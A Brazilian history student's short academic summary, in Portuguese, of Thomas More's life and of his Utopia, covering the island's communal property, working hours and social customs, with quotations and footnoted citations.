Resumo sobre a Utopia de Thomas Morus

Breve relato sobre a Utopia de Thomas Morus


Jéferson
dos Santos Mendes
1



Thomas Morus







Thomas
Morus ou Thomas More (1478- 1535), nasceu em Londres em 7 de
fevereiro de 1478, ou talvez 1477. Filho de John More, queria que o
filho seguisse o caminho da jurisprudência. Morus passou alguns
anos na St Anthoy’s School, aprendendo os princípios
fundamentais da gramática e das redações
latinas, quando aos doze anos de idade, foi então admitido
como pajem à casa do chanceler de Henrique VII, John Morton.
Depois de ficar dois anos com Morton, Morus foi enviado para Oxford,
provavelmente para que desenvolvesse a sua queda pelas artes da
retórica e da lógica, muito importantes para a sua
futura carreira.



Quando
estava com dezesseis anos de idade, Morus novamente em Londres, daí
dando início ao estudo do Direito nos Inns of Court. Morus
acabou influenciando-se pelo humanismo que nascia, por homens
versados nas letras. Estudou composição latina com o
gramático John Holt, e o grego com William Grocyn, sofrendo
enorme influência de John Colet. Quando volta para a
Inglaterra, em 1696, proferiu em Oxford séries de conferências
sobre as epístolas de São Paulo. Em 1499, Morus travou
conhecimento com o humanista holandês Erasmo.



Morus
“representa o processo contra a injustiça social e a
esperança na redenção do homem” (MELO
FRANCO, p. 26, 1978), assim, Morus se liga aos grandes nomes do
século XVI, e, de fato, este, sofre grande influência de
pensadores deste período, como John Morton, Cardeal e
Arcebispo de Canterbury, que segundo W. Reed, este, se apresenta como
uma das grandes figuras da Renascença inglesa, outro a
influenciar o pensamento de Morus é Grocyn, ao qual se deve
uma intensa amizade e também nesta linha John Colet, que fora
o responsável pela transformação dos estudos
teológicos na Inglaterra, no início do século
XVI, segundo consta um reformador formidável e, este, de
grande coragem, servidor de um idealismo sadio e uma inteligência
penetrante. Portanto estes três homens pesarão
definitivamente por sobre o caráter e sobre o humanismo de
Morus.



Quando
tomou contato com Desiderius Erasmo, filósofo e teólogo
de Rotterdam, tornaram-se grandes amigos. Erasmo, dedicou a Morus seu
principal livro Elogio
da Loucura.



Chegamos
agora ao “ou-topos, o não lugar, lugar nenhum”
(COELHO, 1984, p. 16), enfim, Teixeira Coelho relativisa de forma
clara o que busca uma sociedade utópica ou mesmo um sonho de
sociedade:






[…]
pretender que todos trabalhem para que todos possam trabalhar menos,
ao invés de se matarem uns enquanto outros ficam assistindo de
camarote. A imaginação utópica quer ainda – e é
penoso constatar que a imaginação tem de intervir aqui
também – que todos sejam tratados de mesmo modo, homens,
mulheres e crianças. Que ninguém passe necessidade. Que
ninguém seja considerado superior aos outros por ter mais
coisas do que eles. Que os mais competentes e honestos dirijam os
negócios públicos. Que ninguém seja obrigado a
fazer o que não quer, o que não pode e não deve.
Ou, então, que desapareça o dinheiro. E a propriedade
privada. E que exista a liberdade de expressão, e a religiosa.
E que a educação seja acessível a todos.
(COELHO, 1984, p. 19).




A
Utopia de Morus é uma ilha afastada do continente europeu,
Rafael Hitlodeu não diz com convicção em que
oceano ela fica, apenas diz que foi parar lá depois de
embarcar numa das viagens de Américo Vespúcio, e voltou
depois.2
A Ilha de Utopia, como já diz o expressão criada por
Morus, abarca a sociedade ideal, inatingível, que traduz um
estado de bem estar dos seres humanos.



O
livro, dá significado para o termo usado como título,
fazendo certo tom irônico ao descrever a ilha. A capital,
Amaurotum que significa “cidade do sonho”, é
banhada pelo rio Anidro, rio sem água, seus cidadãos
são alopolitas “cidadãos sem cidades”,
governados pelo príncipe Ademos “aquele que não
tem povo”, e seus vizinhos são os Achorianos “homens
sem país”.



A
admiração de Thomas Morus por Platão certamente
o fez ter certa inspiração para A Utopia
da
República. Assim como na República o livro se passa na
forma de um diálogo, na Utopia Morus trabalha com a mesma
questão.



Morus
trabalha com questões exatas de dimensão citando que a
ilha é mais larga no meio, onde mede trezentos e vinte
quilômetros,3
segundo Morus todo o interior da ilha pode ser usado como porto,4
dessa maneira os barcos fluem sem nenhuma dificuldade.5







O
mar por aí entra, quando então se espalha e forma uma
larga baía – ainda, que, na verdade, mais se espalhe a
uma vasta piscina de água serena, pois se trata de lugar que a
costa circundante protege totalmente dos ventos, impedindo, assim, a
formação de grandes ondas. (MORUS, 1993, p. 63).









Está
ilha forma naturalmente uma península que foi conquistada pelo
rei Utopos, que acabou dando nome à ilha, que anteriormente
era conhecida como Abraxa,6
e que hoje “[…] talvez seja a nação mais
civilizada do mundo […]” (MORUS, 1993, p. 64).



A
ilha de Utopia tem 54 cidades, estas sendo grandes e magníficas,
e dentro destas todos falam a mesma língua e respeitam as
mesmas leis.7
A sociedade ideal tem sempre a denominação exata, tanto
no que tange a população e extensão territorial.



A
Utopia corresponde-se a uma grande família,8
pelo fato de tudo que for produzido é igualmente dividido
entre todos que compõem a sociedade, dessa maneira inexistem
assaltantes e mendigos.9



A
extrema discussão se volta para a crítica social de
Morus em torno da abolição da propriedade privada.
Adverte que a igualdade seria impossível com a propriedade
privada, por isso nesta existe a comunhão de bens, “[…]
o solo é visto como terra a ser cultivada, e não como
propriedade” (MORUS, 1993, p. 65). Na República de
Platão, os cidadãos adotavam um regime de comunhão
de bens. Morus é considerado para alguns como sendo um dos
fundadores do socialismo.






Cada
casa tem uma porta principal que dá para a rua, e uma porta
dos fundos que dá para o jardim. Nenhuma dessas portas é
fechada a chave, abrindo-se a um simples toque e fechando
automaticamente após a saída de alguém. Assim,
todos podem entrar e sair, pois ali inexiste a propriedade privada.
(MORUS, 1993, p. 70).







Contando
registros históricos da cidade, estes cobrem um período
de mil setecentos e sessenta anos, desde a conquista até os
dias que segue,10
a cidade é governada por um príncipe. Esse príncipe
conserva o cargo por toda a vida,11
os utopianos além de agricultores, todos aprendem determinados
ofícios, dessa maneira, os utopianos são tecelões,
pedreiros, oleiros e carpinteiros. As mulheres trabalham nos serviços
mais leves, como a tecelagem. As casas podem abrigar um mínimo
de 40 adultos, mais 2 escravos presos a terra.12
As roupas são produzidas por eles mesmos, todos se utilizam da
mesma peça de roupa poucas coisas distinguem as mulheres dos
homens, casados e solteiros, as roupas permitem uma grande liberdade
para o corpo, deixando inteiramente à vontade, sendo tanto
adequado ao verão como ao inverno.13



Na
ilha de Utopia apenas seis horas são dedicadas ao trabalho,
três
horas de serviço pela manhã, almoço, duas horas
de repouso, mais três horas de trabalho a tarde, e daí
por fim a ceia, os utopianos vão para a cama às oito
horas da noite, consequentemente dormem oito horas.14



Durante
o tempo que resta de liberdade, é dedicado ao que quiserem
fazer por bem desde que não se entreguem a ociosidade, grande
parte usa esse tempo para aperfeiçoar a sua educação,
pelo fato de existir muitos cursos públicos, que antes do
nascer do sol já tem início, e o melhor disso é
que a responsabilidade é de quem freqüenta, pois o
comparecimento é voluntário.15



Consumo
da alimentação é rigorosamente cuidado pelas
autoridades de cada cidade, a produção acaba sendo
sempre tão farta que muitas vezes são divididas entre
as outras cidades.






[…]
no caso do ser humano, a razão é a vaidade, a idéia
de que se é melhor do que os outros quando se pode ostentar
grandes propriedades e todo o tipo de luxo supérfluo. Esse
tipo de coisa, porém, não acontece em Utopia. (MORUS,
1993, p. 82).







Na
Utopia não usam dinheiro, apenas no caso de uma eventual
necessidade.16
Existem hospitais e médicos, apesar destes serem muito pouco
procurados, pois todos são incontestavelmente saudáveis.
Até mesmo os mendigos são robustos e saudáveis,
estes que se fazem passar por doentes para não trabalhar.17



Em
Utopia ouro e prata não se produzem o mesmo sentimento de
posse, ou de qualidade, que se encontram nas sociedades, são
plenamente desprezíveis.





[…]
usam correntes e grilhões de ouro para prender os escravos, e
todos os que praticam crimes realmente graves são forçados
a usar anéis de ouro nas orelhas e nos dedos, um colar de ouro
no pescoço e até uma coroa de ouro na cabeça. Na
verdade, fazem o possível para tornar esses metais
desprezíveis. (MORUS, 1993, p. 92).





Não
a espaço para as pessoas em torno do ócio, sempre a
trabalho, suas vaidades dessa maneira devem ser preservadas, pois em
Utopia “[…] não existem tavernas, cervejarias,
bordéis, oportunidades para a sedução ou lugares
propícios aos encontros secretos”. (MORUS, 1993, p. 88).





A
razão nos ensina, primeiro, o amor e a reverencia diante de
Deus todo-poderoso, a Quem devemos a existência e a
possibilidade de alcançar a felicidade; e, em segundo lugar,
ensina-nos a passar pela vida com o máximo de conforto e
alegria, e a contribuir para com os nossos semelhantes tenham igual
destino. (MORUS, 1993, p. 100).






Morus
relata a sociedade perfeita, em uma visão mais próxima
disso, assim como Campanella e o próprio Platão, todos
temos a sociedade perfeita que queríamos ao menos que se
efetivasse de forma a dar segurança, liberdade, respeito, que
pudesse protelar por um futuro mais justo e de qualidades
identificáveis com os desejos dos cidadãos.

















Bibliografias:





Coelho,
Teixeira. O
que é Utopia
.
2. ed. São Paulo: Brasiliense, 1981.





More, Sir Thomas,
Santo. Utopia. [edição preparada por George M.
Logan, Robert M. Adams; tradução Jefferson Luiz
Camargo, Marcelo Brandão Cipolla]. – São Paulo: Martins
Fontes, 1993.





Franco, Afonso Arinos
de Melo, e outros. O Renascimento. Apresentação
de Edson Mota. Rio de Janeiro, Agir, Museu Nacional de Belas-Artes,
1978.






1
Acadêmico do Curso de História da Universidade de Passo
Fundo. Nível VIII, bolsista Pibic/CNPq, nº do processo
PIBIC CNPq: 106370/2006-5, e-mail [email protected]




2
“Thomas Morus, ao escrever seu livro, acabava de ler uma carta
de Américo Vespúcio, que fez a descrição
de sua viagem ao Brasil. Vespúcio deixou uma feitoria em Cabo
Frio, no Arraial do Cabo. É dessa feitoria de Vespúcio
que sai o herói da Utopia. E ele vai acompanhando
geograficamente a viagem de Vespúcio até que, antes de
chegar na linha do Equador, encontra uma ilha linda, coberta de
palmas, cercada de mares, cheia de árvores, perdida no mar.
Esta ilha é que ele chama Utopia, e corresponde na carta
de Vespúcio à ilha de Fernando de Noronha. Portanto,
não há dúvida de que Fernando de Noronha é
que forneceu a Thomas Morus a idéia de Utopia.” Em,
Franco, Afonso Arinos de Melo, e outros.
O Renascimento.
Apresentação
de Edson Mota. Rio de Janeiro, Agir, Museu Nacional de Belas-Artes,
1978, p. 26-27.







3
More, Sir Thomas, Santo. Utopia.
[edição preparada por George M. Logan, Robert M.
Adams; tradução Jefferson Luiz Camargo, Marcelo
Brandão Cipolla]. – São Paulo: Martins Fontes, 1993,
p. 63.




4
More, Sir Thomas, Santo. Utopia.
[edição preparada por George M. Logan, Robert M.
Adams; tradução Jefferson Luiz Camargo, Marcelo
Brandão Cipolla]. – São Paulo: Martins Fontes, 1993,
p. 63.




5
More, Sir Thomas, Santo. Utopia.
[edição preparada por George M. Logan, Robert M.
Adams; tradução Jefferson Luiz Camargo, Marcelo
Brandão Cipolla]. – São Paulo: Martins Fontes, 1993,
p. 64.




6
More, Sir Thomas, Santo. Utopia.
[edição preparada por George M. Logan, Robert M.
Adams; tradução Jefferson Luiz Camargo, Marcelo
Brandão Cipolla]. – São Paulo: Martins Fontes, 1993,
p. 64.




7
More, Sir Thomas, Santo. Utopia.
[edição preparada por George M. Logan, Robert M.
Adams; tradução Jefferson Luiz Camargo, Marcelo
Brandão Cipolla]. – São Paulo: Martins Fontes, 1993,
p. 65.




8
More, Sir Thomas, Santo. Utopia.
[edição preparada por George M. Logan, Robert M.
Adams; tradução Jefferson Luiz Camargo, Marcelo
Brandão Cipolla]. – São Paulo: Martins Fontes, 1993,
p. 89.




9
More, Sir Thomas, Santo. Utopia.
[edição preparada por George M. Logan, Robert M.
Adams; tradução Jefferson Luiz Camargo, Marcelo
Brandão Cipolla]. – São Paulo: Martins Fontes, 1993,
p. 89.







10
More, Sir Thomas, Santo. Utopia.
[edição preparada por George M. Logan, Robert M.
Adams; tradução Jefferson Luiz Camargo, Marcelo
Brandão Cipolla]. – São Paulo: Martins Fontes, 1993,
p. 70




11
More, Sir Thomas, Santo. Utopia.
[edição preparada por George M. Logan, Robert M.
Adams; tradução Jefferson Luiz Camargo, Marcelo
Brandão Cipolla]. – São Paulo: Martins Fontes, 1993,
p. 72.




12
More, Sir Thomas, Santo. Utopia.
[edição preparada por George M. Logan, Robert M.
Adams; tradução Jefferson Luiz Camargo, Marcelo
Brandão Cipolla]. – São Paulo: Martins Fontes, 1993,
p. 66.




13
More, Sir Thomas, Santo. Utopia.
[edição preparada por George M. Logan, Robert M.
Adams; tradução Jefferson Luiz Camargo, Marcelo
Brandão Cipolla]. – São Paulo: Martins Fontes, 1993,
p. 73.




14
More, Sir Thomas, Santo. Utopia.
[edição preparada por George M. Logan, Robert M.
Adams; tradução Jefferson Luiz Camargo, Marcelo
Brandão Cipolla]. – São Paulo: Martins Fontes, 1993,
p. 74.




15
More, Sir Thomas, Santo. Utopia.
[edição preparada por George M. Logan, Robert M.
Adams; tradução Jefferson Luiz Camargo, Marcelo
Brandão Cipolla]. – São Paulo: Martins Fontes, 1993,
p. 74-5.




16
More, Sir Thomas, Santo. Utopia.
[edição preparada por George M. Logan, Robert M.
Adams; tradução Jefferson Luiz Camargo, Marcelo
Brandão Cipolla]. – São Paulo: Martins Fontes, 1993,
p. 91.




17
More, Sir Thomas, Santo. Utopia.
[edição preparada por George M. Logan, Robert M.
Adams; tradução Jefferson Luiz Camargo, Marcelo
Brandão Cipolla]. – São Paulo: Martins Fontes, 1993,
p. 76.



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